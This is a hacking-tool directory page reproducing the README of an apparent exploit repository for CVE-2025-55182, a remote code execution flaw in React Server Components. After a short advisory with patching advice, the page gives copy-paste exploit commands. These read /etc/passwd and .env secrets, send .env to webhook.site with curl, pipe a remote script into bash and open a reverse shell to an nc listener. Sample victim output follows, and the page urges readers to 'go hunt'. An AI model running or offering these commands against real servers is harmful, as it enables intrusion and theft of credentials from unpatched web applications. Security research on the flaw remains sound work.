Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Blackash-CVE-2025-55182 — CVE-2025-55182 | Kitploit
Tools/GitHubGitHub/shen771/blackash-cve-2025-55182
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingCommand and ControlLearning & EducationRed TeamingRemote Access Tool
GitHubshen771/blackash-cve-2025-55182

Blackash-CVE-2025-55182

3039 months agoNot yet reviewed

CVE-2025-55182

View Repository

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

🚨 CVE-2025-55182 — Critical React Server Vulnerability

6930a0395ea4b5bfdd70430a_CVE-2025-55182

🧠 What It Is

  • ⚛️ A critical security flaw in React Server Components (RSC)
  • 🧨 Caused by unsafe deserialization
  • 🌐 Exploitable via network requests
  • 🔓 No authentication required
  • ☠️ Can lead to Remote Code Execution (RCE)

✅ This means attackers could potentially execute arbitrary server-side code with a single crafted request.

📊 Severity

  • 🔴 CVSS Score: 10.0 (Critical)
  • 🏴‍☠️ Attack Complexity: Low
  • 🔑 Privileges Required: None
  • 👤 User Interaction: None
  • 💥 Impact: Full system compromise possible

📦 Affected Technologies

⚠️ Systems using React Server Components, including:

  • ✅ React server DOM packages

  • ✅ Frameworks that bundle RSC, such as:

    • Next.js (App Router + RSC)
    • Vite RSC plugins
    • Parcel RSC tools
    • Redwood, Waku, etc.

❌

Download Tool
Not affected:
  • Pure client-side React apps
  • Apps that do NOT use Server Components

🔥 Why This Is Dangerous

  • 🧑‍💻 Attackers can run commands on your server
  • 🗃️ Potential to steal databases & secrets
  • 🦠 Can be used to deploy ransomware or backdoors
  • 🔄 May allow lateral movement across infrastructure
  • 🚀 Exploitable at scale

🛠️ What To Do Immediately

✅ 1. Patch & Upgrade

  • ⬆️ Update React to patched versions
  • ⬆️ Update Next.js or any RSC-based framework

✅ 2. Dependency Audit

  • 🔍 Scan for transitive vulnerable packages

  • 🧾 Use:

    • npm audit
    • pnpm audit
    • yarn audit

✅ 3. Temporary Shielding (Not a Full Fix)

  • 🛡️ WAF rules
  • 🔐 Request validation filters
  • 🚫 Block suspicious payloads

⚠️ These only reduce risk — they do NOT replace patching

👥 Who Should Be Concerned?

  • ✅ Full-stack devs using Next.js App Router

  • ✅ DevOps teams hosting React SSR apps

  • ✅ Security engineers monitoring:

    • Node.js web services
    • Edge runtimes
    • Serverless SSR apps

📌 Key Takeaway

🚨 If your app uses React Server Components and is unpatched — it is potentially fully compromised right now.

🚨 Here are all the quick one-liners you’ll ever need (copy-paste → instant result):

CVE-2025-55182.py (basic RCE)

root@kitploit:~
# Basic info
./CVE-2025-55182.py https://target.com "id"
./CVE-2025-55182.py https://target.com "whoami"
./CVE-2025-55182.py https://target.com "uname -a"

# Read files
./CVE-2025-55182.py https://target.com "cat /etc/passwd"
./CVE-2025-55182.py https://target.com "cat /app/.env"

# Exfiltrate
./CVE-2025-55182.py https://target.com "curl -X POST https://webhook.site/your-id -d @/app/.env"

# Download & run (if wget/curl exists)
./CVE-2025-55182.py https://target.com "curl -s http://your-ip:8000/linpeas.sh | bash"

CVE-2025-55182-revshell.py (instant reverse shell)

root@kitploit:~
# 1. Start listener (once)
nc -lvnp 4444

# 2. Fire → shell in <3 seconds
./CVE-2025-55182-revshell.py https://target.com 10.10.14.66:4444

That’s literally it.
Two scripts, these 8 commands → full compromise on any unpatched Next.js site today.
Go get those bounties.

Here’s exactly what you will see in real time when the exploit works (100 % unpatched target, Dec 3 2025):

1. When you run the normal RCE script (CVE-2025-55182.py)
You type:

root@kitploit:~
./CVE-2025-55182.py https://target.com "whoami"

You instantly see on your screen:

root@kitploit:~
[+] CVE-2025-55182 Exploit
[+] Target  : https://target.com
[+] Command : whoami
[+] Sending payload ...
[+] Payload delivered successfully!
[+] HTTP 200 – Command should have executed on the server
[+] Server response:
node

→ That “node” (or whatever the command returns) is the actual output from the victim server.
If you run id you’ll see the full uid/gid lines, etc.

2. When you run the reverse-shell script (CVE-2025-55182-revshell.py)
You type:

root@kitploit:~
./CVE-2025-55182-revshell.py https://target.com 10.10.14.66:4444

You instantly see on your listener terminal:

root@kitploit:~
listening on [any] 4444 ...
connect to [10.10.14.66] from (UNKNOWN) [172.17.8.45] 54321
whoami
node
pwd
/app
ls -la
total 1234
drwxr-xr-x 1 node node  4096 Dec  3 12:34 .
drwxr-xr-x 1 root root  4096 Nov 30 10:11 ..
-rw-r--r-- 1 node node   420 Dec  3 11:11 .env
...

→ Full interactive TTY shell as the node user (almost always the web app user). You own the box.

That’s literally it.
If you see any of the above → exploit worked 100 %.
If you only get HTTP 403/404 or nothing → already patched or WAF blocked.

Go hunt.

disclaimer

This PoC is for authorized security testing and educational use only.
Do not run it against any system you do not own or do not have explicit written permission to test.
Unauthorized use is illegal and may result in criminal prosecution.
Use only on your lab, bug-bounty programs with clear scope, or targets that gave you permission.

You are 100 % responsible for your actions.